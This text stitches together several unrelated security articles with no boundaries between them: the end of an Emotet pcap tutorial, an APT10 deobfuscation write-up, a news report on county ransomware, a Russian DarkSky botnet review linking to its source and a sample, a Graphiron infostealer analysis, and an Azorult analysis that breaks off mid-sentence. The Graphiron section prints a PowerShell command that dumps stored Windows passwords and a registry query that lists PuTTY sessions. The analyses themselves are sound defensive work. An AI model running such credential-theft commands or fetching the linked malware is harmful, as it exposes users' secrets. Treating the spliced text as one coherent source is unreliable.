Wireshark to easily find the second type of HTTP POST request: ``` urlencoded-form ``` This should return two HTTP POST requests to 167.71.4[.]0 over TCP port 8080. Follow the TCP stream for the first of these two HTTP POST requests at 16:58:43 UTC. Some of the data sent in the POST request is encoded as a base64 string with some URL encoding. Our first pcap has no follow-up malware or other significant activity. The only other activity is repeated connection attempts to 46.101.230[.]194 over TCP port 443. You can easily spot this activity by filtering on TCP SYN segments that are retransmissions. Use the following Wireshark filter: ``` tcp.analysis.retransmission and tcp.flags eq 0x0002 ``` An Internet search on 46.101.230[.]194 should reveal this IP address has been used for Emotet C2 activity. The remaining traffic in the pcap is system traffic generated by a Microsoft Windows 10 host. ## Example 2: Emotet With Spambot Traffic, Part 1 Open Example-2-2021-01-05-Emotet-with-spambot-traffic-part-1.pcap in Wireshark and use a basic web filter. Similar to our first example, we receive some HTTP GET requests before Emotet C2 traffic. The first frame in the column display shows HTTPS traffic to obob[.]tv, which was probably a web request for the initial Emotet DLL, because this domain was reported as hosting an Emotet binary on Jan. 5, 2021, the same date as the traffic in our pcap. Follow the TCP stream for the HTTP GET request to miprimercamino[.]com to confirm it returned an Emotet DLL. The SHA256 hash for the extracted DLL from our second pcap is: ``` 963b00584d8d63ea84585f7457e6ddcac9eda54428a432f388a1ffee21137316 ``` Again, we find two types of HTTP POST requests for Emotet C2 traffic. To filter for each type of Emotet C2 HTTP POST request, use the following Wireshark filters: - First type: `http.request.method eq POST and !(urlencoded-form)` - Second type: `urlencoded-form` Follow TCP streams for the HTTP POST requests returned by these filters and confirm they follow the same patterns seen in our first pcap. In this example, our infected host was turned into a spambot, so we also have SMTP traffic. The spambot SMTP traffic is encrypted, but we can easily find it by using our basic web filter and scrolling down the column display. At 20:06:20 UTC, the pcap starts showing SSL/TLS traffic to TCP ports associated with the SMTP email protocol, like TCP ports 25, 465, and 587. We can filter on smtp to find some of the SMTP commands before encrypted SMTP tunnels are established. We can sometimes find unencrypted SMTP from spambot traffic generated by an Emotet-infected Windows host. Unencrypted SMTP will reveal its message content, but the volume of encrypted SMTP from a spambot host is far greater than the volume of unencrypted SMTP. Therefore, most of the spambot messages from an Emotet-infected host are hidden within the encrypted traffic. ## Example 3: Emotet With Spambot Traffic, Part 2 Open Example-3-2021-01-05-Emotet-with-spambot-traffic-part-2.pcap in Wireshark and use a basic web filter. In this pcap, we still see HTTP POST requests for Emotet C2 traffic, at least twice each minute. We can also find encrypted spambot activity similar to our previous pcap. We can quickly identify any unencrypted SMTP traffic by using the following Wireshark filter: ``` smtp.data.fragment ``` Follow the TCP stream for the last email from "Gladisbel Miranda" at 20:19:54 UTC. We can export these five items of Emotet malspam by using the menu path File --> Export Objects --> IMF. Export these emails and examine them. Ideally, we recommend doing this in a non-Windows environment. Thunderbird is a free email client you can use to see how a potential victim might view these emails. ## Example 4: Emotet Infection with Trickbot Open Example-4-2021-01-05-Emotet-infection-with-Trickbot.pcap in Wireshark and use a basic web filter. This pcap does not have an HTTP GET request for an initial Emotet DLL. However, the first frame in our column display shows HTTPS traffic to fathekarim[.]com. This was probably a web request for the Emotet DLL, because this domain was reported as hosting an Emotet binary on Jan. 5, 2021, the same date as the traffic in our pcap. You should find the same two types of HTTP POST requests associated with Emotet C2, as described in our previous two pcaps. This pcap also contains indicators of a Trickbot infection. The following are common indicators for Trickbot: - HTTPS traffic over TCP ports 447 or 449 without an associated domain or hostname. - HTTP POST requests over standard or non-standard TCP ports for HTTP traffic that end with /81/, /83/ or /90, which are associated with data exfiltration. - With Trickbot from Emotet infections, the above HTTP POST requests start with /mor followed by a number (only one or two digits seen so far). - HTTP GET requests for URLs that end in .png that return additional Trickbot binaries. We can easily find these indicators using the following Wireshark filters: - `tls.handshake.type eq 1 and (tcp.port eq 447 or tcp.port eq 449)` - `(http.request.uri contains /81 or http.request.uri contains /83 or http.request.uri contains /90) and http.request.uri contains mor` - `http.request.uri contains .png` ## Example 5: Emotet Infection With Qakbot Open Example-5-2020-08-18-Emotet-infection-with-Qakbot.pcap in Wireshark and use a basic web filter. In our fifth pcap, an Emotet Word document was retrieved from saketpranamam.mysquare[.]in at 21:23:50 UTC, which matches a URL reported as hosting an Emotet Word document on the same date. The SHA256 hash for this extracted Word document is: ``` c7f429dde8986a1b2fc51a9b3f4a78a92311677a01790682120ab603fd3c2fcb ``` We also see HTTPS traffic to samaritantec[.]com at 21:24:40 UTC. This domain was reported as hosting an Emotet binary on the same date. As in our previous examples, you should find the same two types of HTTP POST requests associated with Emotet C2 traffic. Additionally, this pcap contains indicators of a Qakbot infection. The following are common indicators for Qakbot: - HTTPS traffic over standard and non-standard TCP ports for HTTPS. - Certificate data for Qakbot HTTPS traffic has unusual values for the issuer fields, and the certificate is not issued by an authority based in the United States. - TCP traffic over TCP port 65400. ## Conclusion This tutorial reviewed how to identify Emotet activity from pcaps of its infection traffic. We reviewed five recent pcaps and found similarities in HTTP POST requests caused by Emotet C2 traffic. The patterns are fairly unique and can be used to identify an Emotet infection within your network. We also reviewed other post-infection activities associated with Emotet, such as spambot traffic and different families of malware dropped on an infected host. This knowledge can help security professionals better detect and catch an Emotet infection when reviewing suspicious network activity.
# Defeating Compiler-Level Obfuscations Used in APT10 Malware **February 25, 2019** **Takahiro Haruyama** ## Summary The Carbon Black Threat Analysis Unit (TAU) recently analyzed a series of malware samples that utilized compiler-level obfuscations. For example, opaque predicates were applied to Turla mosquito and APT10 ANEL. Another obfuscation, control flow flattening, was applied to APT10 ANEL and Dharma ransomware packer. ANEL (also referred to as UpperCut) is a RAT program used by APT10 and observed in Japan uniquely. According to SecureWorks, all ANEL samples whose version is 5.3.0 or later are obfuscated with opaque predicates and control flow flattening. Opaque predicate is a programming term that refers to decision making where there is actually only one path. For example, this can be seen as calculating a value that will always return True. Control flow flattening is an obfuscation method where programs do not cleanly flow from beginning to end. Instead, a switch statement is called in an infinite loop having multiple code blocks each performing operations. The obfuscations looked similar to the ones explained in Hex-Rays blog, but the introduced IDA Pro plugin HexRaysDeob didn’t work for one of the obfuscated ANEL samples because the tool was made for another variant of the obfuscation. TAU investigated the ANEL obfuscation algorithms then modified the HexRaysDeob code to defeat the obfuscations. After the modification, TAU was able to recover the original code. ## Details HexRaysDeob is an IDA Pro plugin written by Rolf Rolles to address obfuscation seen in binaries. In order to perform the deobfuscation, the plugin manipulates the IDA intermediate language called microcode. If you aren’t familiar with those structures (e.g., microcode data structures, maturity level, Microcode Explorer and so on), you should read his blog post. Rolles also provides an overview of each obfuscation technique in the same post. HexRaysDeob installs two callbacks when loading: - `optinsn_t` for defeating opaque predicates (defined as ObfCompilerOptimizer) - `optblock_t` for defeating control flow flattening (defined as CFUnflattener) ### Opaque Predicates Before continuing, it is important to understand Hex-Rays maturity levels. When a binary is loaded into IDA Pro, the application will perform distinct layers of code analysis and optimization, referred to as maturity levels. One layer will detect shellcode, another optimizes it into blocks, another determines global variables, and so forth. The `optinsn_t::func` callback function is called in maturity levels from `MMAT_ZERO` (microcode does not exist) to `MMAT_GLBOPT2` (most global optimizations completed). During the callback, opaque predicates pattern matching functions are called. If the code pattern is matched with the definitions, it is replaced with another expression for the deobfuscation. This is important to perform in each maturity level as the obfuscated code could be modified or removed as the code becomes more optimized. We defined two patterns for analysis of the ANEL sample. **Pattern 1:** `~(x * (x – 1)) | -2` Below is an example of one of the opaque predicates patterns used by ANEL: The global variable value `dword_745BB58C` is either even or odd, so `dword_745BB58C * (dword_745BB58C – 1)` is always even. This results in the lowest bit of the negated value becoming 1. Thus, OR by -2 (0xFFFFFFFE) will always produce the value -1. In this case, the pattern matching function replaces `dword_745BB58C * (dword_745BB58C – 1)` with 2. **Pattern 2:** `read-only global variable >= 10 or < 10` Another pattern is the following: The global variable value `dword_72DBB588` is always 0 because the value is not initialized (we can check it by `is_loaded` API) and has only read accesses. So the pattern matching function replaces the global variable with 0. There are some variants with this pattern (e.g., the variable – 10 < 0), where the immediate constant can be different, like 9. ### Data-flow Tracking for the Patterns We also observed a pattern that was also using an 8-bit portion of the register. In the following example, the variable `v5` in pseudocode is a register operand (`cl`) in microcode. We need to check if the value comes from the result of `x * (x – 1)`. In another example, the variable `v2` in pseudocode is a register operand (`ecx`) in microcode. We have to validate if a global variable with above-mentioned conditions is assigned to the register. Data-flow tracking code was added to detect these use-cases. The added code requires that the `mblock_t` pointer information is passed from the argument of `optinsn_t::func` to trace back previous instructions using the `mblock_t` linked list. However, the callback returns NULL from the `mblock_t` pointer if the instruction is not a top-level one. For example, if the `setl` is always a sub-instruction during the optimization, we never get the pointer. To handle this type of scenario, the code was modified to catch and pass the `mblock_t` of the `jnz` instruction to the sub-instruction. ### Control Flow Flattening The original implementation calls the `optblock_t::func` callback function in `MMAT_LOCOPT` (local optimization and graphing are complete) maturity level. Rolles previously explained the unflattening algorithm in a Hex-Rays blog. For brevity, I will quickly cover some key points to understand the algorithm at a high level. Normally the call flow graph (CFG) of a function obfuscated with control flow flattening has a loop structure starting with yellow-colored “control flow dispatcher.” The original code is separated into the orange-colored “first block” and green-colored flattened blocks. The analyst is then required to resolve the correct next block and modify the destination accordingly. The next portion of the first block and each flattened block is decided by a “block comparison variable” with an immediate value. The value of the variable is assigned to a specific register in each block then compared in a control flow dispatcher and other condition blocks. If the variable registers for the comparison and assignment are different, the assignment variable is called “block update variable.” The algorithm looks straightforward; however, some portions of the code had to be modified in order to correctly deobfuscate the code. ### Unflattening in Multiple Maturity Levels As previously detailed, the original implementation of the code only works in `MMAT_LOCOPT` maturity level. Rolles said this was to handle another obfuscation called “Odd Stack Manipulations.” However, the unflattening of ANEL code had to be performed in the later maturity level since the assignment of block comparison variable heavily depends on opaque predicates. As an example in the following obfuscated function, the `v3` and `v7` variables are assigned to the block comparison variable (`b_cmp`). However, the values are dependent on opaque predicates results. Once the opaque predicates are broken, the loop code becomes simpler. Unflattening the code in later maturity levels like `MMAT_GLBOPT1` and `MMAT_GLBOPT2` (first and second pass of global optimization) caused additional problems. The unflattening algorithm requires mapping information between block comparison variable and the actual block number (`mblock_t::serial`) used in the microcode. In later maturity levels, some blocks are deleted by the optimization after defeating opaque predicates, which removes the mapping information. To resolve that issue, the code was written to link the block comparison variable and block address in `MMAT_LOCOPT`, as the block number is changed in each maturity level. If the code can’t determine the mapping in later maturity levels, it attempts to guess the next block number based on the address, considering each block and instruction addresses. The guessing is not 100% accurate; however, it works for the majority of obfuscated functions tested. ### Control Flow Handling with Multiple Dispatchers Though the original implementation assumes an obfuscated function has only one control flow dispatcher, some functions in the ANEL sample have multiple control dispatchers. To handle multiple control flow dispatchers, a callback for decompiler events was implemented. The code catches the “hxe_prealloc” event (according to Hex-Rays, this is the final event for optimizations) then calls `optblock_t::func` callback. Typically this event occurs a few times to several times, so the callback can deobfuscate multiple control flow flattenings. Other additional modifications were made to the code (e.g., writing a new algorithm for finding control flow dispatcher and first block, validating a block comparison variable, and so on). After the modification, functions with multiple control flow dispatchers can be unflattened. ### Implementation for Various Conditional/Unconditional Jump Cases The original implementation supports two cases of flattened blocks to find a block comparison variable for the next block. I found and implemented three more cases in the ANEL sample. The code tracks the block comparison variable in each predecessor and more (if any conditional blocks before the predecessor) to identify each next block for unflattening. In all cases explained here, the tail instruction of the dispatcher predecessor can be a conditional jump like `jnz`, not just `goto`. The modified code checks the tail instruction and if the true case destination is a control flow dispatcher, it updates the CFG and the destination of the instruction. ### Other Minor Changes The following changes are minor compared with above referenced ones: - Additional jump instructions are supported when collecting block comparison variable candidates and mapping between the variable and ea or block number. - An entropy threshold adjustment due to check in high maturity level. - Multiple block tracking for getting block comparison variable. ### Evaluation The modified tool was tested with an ANEL 5.4.1 payload dropped from a malicious document. The code is able to deobfuscate 34 of 38 functions (89%). It should be noted every function is not always obfuscated. The failure examples are: - Not yet implemented cases (e.g., a conditional jump of the dispatcher predecessor’s tail instruction in goto N predecessors case, consecutive if-statement flattened blocks). - An incorrect choice of control flow dispatcher and first block (algorithm error). These fixes will be prioritized for future releases. Additionally, there is a known issue with the result (e.g., the remaining loop or paradoxical decompiled code), using the following IDAPython command in Output window: `idc.load_and_run_plugin(“HexRaysDeob”, 0xdead)` The command will instruct the code to execute only opaque predicates deobfuscation in the current selected function. This allows an analyst to quickly check if there are any lost blocks by control flow unflattening. ### Conclusion The compiler-level obfuscations like opaque predicates and control flow flattening are starting to be observed in the wild by analysts and researchers. Currently, malware with the obfuscations is limited; however, TAU expects not only APT10 but also other threat actors will start to use them. Unfortunately, in order to break the techniques, we have to understand both of the obfuscation mechanisms and disassembler tool internals before we can automate the process. TAU modified the original HexRaysDeob to make it work for APT10 ANEL obfuscations. The modified code is available publicly. The summary of the modifications is: - New patterns and data-flow tracking for opaque predicates. - Analysis in multiple maturity levels, considering multiple control flow dispatchers and various jump cases for control flow flattening. The tool can work for almost all obfuscated functions in the tested sample. This implementation will deobfuscate approximately 89% of encountered functions. This provides researchers and analysts a broad tool to attack this type of obfuscation, and if it is adopted in other families. It should be noted that the tool may not work for the updated versions of ANEL if they are compiled with different options of the obfuscating compiler. Testing in multiple versions is important, so TAU is looking for newer versions ANEL samples. Please reach out to our unit if you have relevant samples or need assistance in deobfuscating the codes. It’s difficult to create a generic tool that can defeat every compiler-level obfuscated binary, but experience and knowledge about IDA microcode can be useful for additional new tools.
# Report: Ransomware Disables Georgia County Election Database A ransomware attack that hobbled a Georgia county government in early October reportedly disabled a database used to verify voter signatures in the authentication of absentee ballots. It is the first reported case of a ransomware attack affecting an election-related system in the 2020 cycle. Federal officials and cybersecurity experts are especially concerned that ransomware attacks — even ones that don’t intentionally target election infrastructure — could disrupt voting and damage confidence in the integrity of the Nov. 3 election. The Oct. 7 attack on Hall County, in the northern part of the state, hit critical systems and interrupted phone services, the county said in a statement posted on its website. County spokeswoman Katie Crumley did not return multiple requests for comment from The Associated Press. However, according to a report in the Gainesville Times, the attack also disabled the county’s voter signature database. Crumley was also quoted in an online CNN story saying that the attack affected both the signature database and a voting precinct map. Ransomware scrambles affected computer networks with encryption that can only be unlocked with keys provided once the victim has paid up. Deloitte analyst Srini Subramanian said ransoms local governments pay in such cases average about $400,000. An update Thursday evening on the county website said “the voting process for citizens has not been impacted by the attack.” However, a county official quoted by the Times said signature verification was slowed because employees had to manually pull hard copies of voter registration cards in many cases. The official was quoted as saying that most voter signatures could still be verified using a state database unaffected by the attack. The county has 129,000 registered voters. In most states, signatures are used to validate absentee ballots sent by mail. Written on the envelopes that sheath the ballots, they are matched by election workers against signatures on file with state and local election authorities. Federal officials recently announced that Russian hackers have infiltrated dozens of state and local government networks and could be poised to launch disruptive attacks. An international ransomware syndicate known as Doppelpaymer appears to be involved in the Hall County attack. It posted documents purportedly stolen from Hall County on a dark web site as proof of responsibility. Crumley, the county spokeswoman, did not respond to an email asking how much ransom that attackers had demanded and whether the county had paid a ransom. Brett Callow, a threat analyst at Emsisoft cybersecurity firm, said the attack could augur other similar actions exploiting the proximity of Election Day. “The real question is how many local government networks are already compromised? Threat actors frequently delay deploying ransomware on compromised networks until what they consider to be the most opportune moment — and that may well be in the days immediately prior to the election,” he said. “What better time to extort money from a government by holding its systems hostage than when those systems are most needed?” A worsening ransomware plague is afflicting U.S. cities, counties, and school districts, exacerbated by the COVID-19 pandemic. At least 82 government bodies in the U.S. have been hit by ransomware so far this year. Eighteen of those incidents have occurred since the beginning of September, according to Emsisoft.
# Анализ ботнета DarkSky Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. ## Админ-панель Сразу хочется отметить, что в плане внешности панелька очень даже неплохая. Тут же отмечу, что имеются некоторые баги: 1. Я запускал файл на дедике - он отстучал в двух разных ботов, хотя по данным они идентичны. 2. Неправильно определяется версия Windows: на дедике Windows Server 2012 R2, а в панели Win8/10x64. Присутствует удобная настройка панели, страница тасков, логов, последних действий. ## Внутренности Вот тут уже начинается темная сторона этого продукта. Из серьезных недоработок я нашел: 1. Update - автообновление панели, которое можно использовать как бекдор. Возможно, сделано это ненамеренно, но риск остается. 2. Уязвимость к SQL-инъекциям - хоть и используется mysqli, но толку от него ноль: данные вставляются в принятом формате. 3. "Шифрование данных" - это HEX. Если уж заявили о шифровании, нужно его сделать адекватно, а не так, чтобы все это через любой онлайн-декодер расшифровывалось. ## Анализ файла ### PE Смотрим через PE-сканнеры: файл ничем не запакован, ЯП - Delphi. ### Данные Открываем файл в IDA и первое, на что обращаем внимание - строки: очень много hex-строк, а как мы уже знаем, в софте именно это является основным шифрованием данных. При декодировании можно найти пару интересных строк: - User-Agent с которым делается http-запрос. - Хост на который привязан лоадер. ### Параметры А тут мы видим, что лоадер использует стандартную автозагрузку. ### Функции Основной метод выглядит так: происходят DLL-проверки (чек на песочницу, виртуалку и т.д.), далее происходит запуск в памяти массива байт. Теперь нам нужно отыскать то, что запускается в памяти: переходим к функции Main этого массива (sub_420434). В функции sub_4213B8 происходит запрос к серверу, там же мы видим захексованный хост и параметры. Далее в цикле происходит запрос текущих тасков и их выполнение. По названиям строк (str_load, str_udp, str_method_http) не трудно догадаться, что первое - это таск загрузки и запуска файла, второе - udp-flood, третье - http-flood. Смотрим функции по порядку: - Загрузка и запуск файла - Запуск - UDP-flood - HTTP-flood В цикле стартуют потоки этой функции: реализация довольно громоздкая, можно было сделать куда проще и эффективнее. ## Ссылки Сорцы панели + семпл - https://github.com/ims0rry/DarkSky-botnet Продажник - https://lolzteam.net/threads/314749/ Автор @ims0rry
# Graphiron: New Russian Information Stealing Malware Deployed Against Ukraine The Russia-linked Nodaria group has deployed a new threat designed to steal a wide range of information from infected computers. The Nodaria espionage group (aka UAC-0056) is using a new piece of information stealing malware against targets in Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information from the infected computer, including system information, credentials, screenshots, and files. The earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023, and it is reasonable to assume that it remains part of the Nodaria toolkit. ## Graphiron functionality Graphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron). The downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed below. **Process names:** BurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida, idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg. If no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun. The downloader is configured to run just once. If it fails to download and install the payload, it won’t make further attempts nor send a heartbeat. Graphiron uses AES encryption with hardcoded keys. It creates temporary files with the ".lock" and ".trash" extensions. It uses hardcoded file names designed to masquerade as Microsoft Office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe. The payload is capable of carrying out the following tasks: - Reads MachineGuid - Obtains the IP address from https://checkip.amazonaws.com - Retrieves the hostname, system info, and user info - Steals data from Firefox and Thunderbird - Steals private keys from MobaXTerm - Steals SSH known hosts - Steals data from PuTTY - Steals stored passwords - Takes screenshots - Creates a directory - Lists a directory - Runs a shell command - Steals an arbitrary file Password theft is carried out using the following PowerShell command: ``` [void] [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() | % { $_.RetrievePassword();$_} | Select UserName, Resource, Password | Format-Table –HideTableHeaders ``` The following command was used to export the list of PuTTY sessions: ``` "CSIDL_SYSTEM\reg.exe" query HKCU\Software\SimonTatham\Putty\Sessions ``` ## Similarity to older tools Graphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys. In addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443, and communications are encrypted using the AES cipher. **Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)** | Malware | Go version | Internal name | Obfuscation | Libraries used | |-----------------------------|------------|----------------|-------------|----------------| | Infostealer.Graphiron | 1.18 | n/a | yes | jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex | | Downloader.Graphiron | 1.18 | n/a | yes | jcmturner/aescts | | GraphSteel | 1.16 | Elephant | no | buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson | | GrimPlant | 1.16 | Elephant | no | jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex | Nodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia. The group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid. The group’s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include: - Elephant Dropper: A dropper - Elephant Downloader: A downloader - SaintBot: A downloader - OutSteel: Information stealer - GrimPlant (aka Elephant Implant): Collects system information and maintains persistence - GraphSteel (aka Elephant Client): Information stealer Like Graphiron, many of Nodaria’s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development. While Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group’s high-level activity over the past year suggests that it is now one of the key players in Russia’s ongoing cyber campaigns against Ukraine. ## Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. ## Indicators of Compromise If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file. **SHA-256:** - 0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 — Downloader.Graphiron - 878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db — Downloader.Graphiron - 80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 — Infostealer.Graphiron - eee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 — Infostealer.Graphiron - f0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 — Infostealer.Graphiron - f86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce — Infostealer.Graphiron **Network:** - 208.67.104[.]95 — C&C server
# Infostealer Malware Azorult Being Distributed Through Spam Mails The ASEC analysis team recently discovered that Azorult malware is being distributed through spam mails. Azorult is a kind of Infostealer that accesses a C&C server to receive DLL files and commands used to leak information, and steals information such as user data files and account information to leak it to the server. Besides account information of web browsers and email clients, screenshots, cryptocurrency information, and files designated by the attacker with certain paths and extensions can be collected as well. Because downloaded commands support a feature to download additional malware, Azorult can also act as a downloader. Once all these processes are done, it deletes itself after leaking information and acting as a downloader, which makes it different from other types of malware. It does not support methods of operation after reboot such as registering a Run key. This means that the malware is deleted after simply leaking information instead of performing additional behaviors by receiving commands from the attacker while staying hidden. Of course, since it can download additional malware, it can act as a medium for other types of malware. As shown in Figure 1, Azorult is mainly distributed through attached files of spam mails. Since AhnLab once received a compressed file named “Estimate Request_Construction Floor Plan.7z,” we can find out that Korean users are also targets for the attack. ## 1. Reset Azorult creates a mutex when it is executed. The string used is created with the following process. First, the malware seeks the privilege of the current process. The attached file is usually double-clicked, so it is executed as a child process of explorer.exe and belongs to a user group. If it is run with an administrator privilege, it belongs to an Administration group. It might be even run with a system privilege in some cases. It returns S, A, U, and G for each function shown below. Also, for MachineGuid, ProductName, UserName, and ComputerName as well as strings added with the previously mentioned 4 strings, the malware uses a different algorithm for each string to create a string as shown below. The function is continuously used later in moments such as sending packets. ``` [Machine Guid-based]-[Product Name-based]-[User Name-based]–[Computer Name-based]-[4 Strings-based] Ex) 112xxx26-86C3DFC7-8EBxxx77-DBxxxA24-C539B8C2 ``` The string that means the privilege found before (one of the characters S|A|U|G) plus the unique string shown above is the string used for creating a mutex. The malware then decodes the encrypted C&C server URL. Lastly, it finds the data to be sent when requesting the C&C server. This data combines the 0x0355AE data which is the 3-byte XOR key and the unique string created from before that is URL-encoded. Before requesting the C&C server, Azorult sends the data encoded with the key to the server. XOR key is also sent because the C&C server needs to decode what it has received. Or it might also be that the key is sent to allow the server to encode the data it will send. ## 2. Downloading Commands and DLL Files ### 2.1. Decoding The malware for the current analysis target received about 4,369KB of encoded data (0x444340) from the C&C server. The data includes commands from the C&C server, multiple DLL files to be used for leaking information, and the string data that the malware will use. The encoding method is XOR, with 3 bytes XOR used for requesting C&C and additional 4 bytes XOR decoding used. As you can see below, the first 0x80000 size of the initially encoded data is decoded with the hard-coded key value of 0x0355AE. This process is the same as the one previously processed for requesting the C&C server. As such, the entire C&C command located at the very front (existing in between tags <c> and </c>), as well as some parts of the DLL data, is decrypted. The decrypted result is the string encoded with the Base64 encryption. Next, the DLL data which was partially decoded (0x80000 starting from the tag <n>) and the DLL data that was not decoded (up to the tag </n>) are decoded with the 4 bytes XOR key. The key used in this process is 0xC8653001. Lastly, there is the string data in between tags <d> and </d>. It is not XOR decoded like the C&C command and exists as the Base64 encoded string form. ### 2.2. Decoded data #### a. Command The command of the C&C server exists in between tags <c> and </c>. The XOR decoding result shows a string encoded with Base64. Decoding this command with Base64 shows the following commands. The current analysis target Azorult 6a4824ab00e63c2f1bbf29a24d78b2a4 receives a short command as you can see above, but another type of Azorult (c0e0a9d259bbf9faab7fd5049bf6b662) receives a command as shown below. ``` Azorult 1 ] – MD5: 6a4824ab00e63c2f1bbf29a24d78b2a4 – C&C Server URL: http://ciuj[.]ir/masab/index.php Azorult 2 ] – MD5: c0e0a9d259bbf9faab7fd5049bf6b662 – C&C Server URL: http://jamesrlongacre[.]ug/index.php ``` The 10 combinations of + and – in the first string are lists of flags that determine the enable status of various information leaking features existing in Azorult. + means enabled, while – means disabled. The flags will be discussed in detail in the information leak part. Next, the lines starting with F, I, and L mean each command. The F command can designate target paths and extensions to additionally leak user data. The I command can lookup a user’s IP address. Finally, the L command acts as a downloader, downloading additional malware. Each command will be discussed in detail in the C&C command part. #### b. DLL files with the information leak feature DLL files were included in between tags <n> and </n> and encoded with the XOR key. The files decoded with the XOR process mentioned above exist in the form [DLL name]:[DLL binary]<separator>[DLL name]…. There are 48 decoded DLL files existing in the form shown above, which are dropped in the path \AppData\Temp\[Unique]\. These files are loaded before leaking information and then used. See below for the list. - api-ms-win-core-console-l1-1-0.dll - api-ms-win-core-datetime-l1-1-0.dll - api-ms-win-core-debug-l1-1-0.dll - api-ms-win-core-errorhandling-l1-1-0.dll - api-ms-win-core-file-l1-1-0.dll - api-ms-win-core-file-l1-2-0.dll - api-ms-win-core-file-l2-1-0.dll - api-ms-win-core-handle-l1-1-0.dll - api-ms-win-core-heap-l1-1-0.dll - api-ms-win-core-interlocked-l1-1-0.dll - api-ms-win-core-libraryloader-l1-1-0.dll - api-ms-win-core-localization-l1-2-0.dll - api-ms-win-core-memory-l1-1-0.dll - api-ms-win-core-namedpipe-l1-1-0.dll - api-ms-win-core-processenvironment-l1-1-0.dll - api-ms-win-core-processthreads-l1-1-0.dll - api-ms-win-core-processthreads-l1-1-1.dll - api-ms-win-core-profile-l1-1-0.dll - api-ms-win-core-rtlsupport-l1-1-0.dll - api-ms-win-core-string-l1-1-0.dll - api-ms-win-core-synch-l1-1-0.dll - api-ms-win-core-synch-l1-2-0.dll - api-ms-win-core-sysinfo-l1-1-0.dll - api-ms-win-core-timezone-l1-1-0.dll - api-ms-win-core-util-l1-1-0.dll - api-ms-win-crt-conio-l1-1-0.dll - api-ms-win-crt-convert-l1-1-0.dll - api-ms-win-crt-environment-l1-1-0.dll - api-ms-win-crt-filesystem-l1-1-0.dll - api-ms-win-crt-heap-l1-1-0.dll - api-ms-win-crt-locale-l1-1-0.dll - api-ms-win-crt-math-l1-1-0.dll - api-ms-win-crt-multibyte-l1-1-0.dll - api-ms-win-crt-private-l1-1-0.dll - api-ms-win-crt-process-l1-1-0.dll - api-ms-win-crt-runtime-l1-1-0.dll - api-ms-win-crt-stdio-l1-1-0.dll - api-ms-win-crt-string-l1-1-0.dll - api-ms-win-crt-time-l1-1-0.dll - api-ms-win-crt-utility-l1-1-0.dll - freebl3.dll - mozglue.dll - msvcp140.dll - nss3.dll - nssdbm3.dll - softokn3.dll - ucrtbase.dll - vcruntime140.dll #### c. String data For programs to perform certain features, they need data like strings and codes. The same goes for malware. If there are strings in the data area of the malware without any modification, it becomes easier to figure out its features. So most types of malware have their strings encoded and use them after they are decoded during the execution process. Azorult is unique in that it does not have most of its strings used in its malicious behaviors in the binary but receives them from the C&C server: strings that are targets for information leak such as “GoogleChrome” and “firefox,” API strings used for leaking information such as “sqlite3_open” and “sqlite3_prepare_v2,” and SQL queries. The string data is 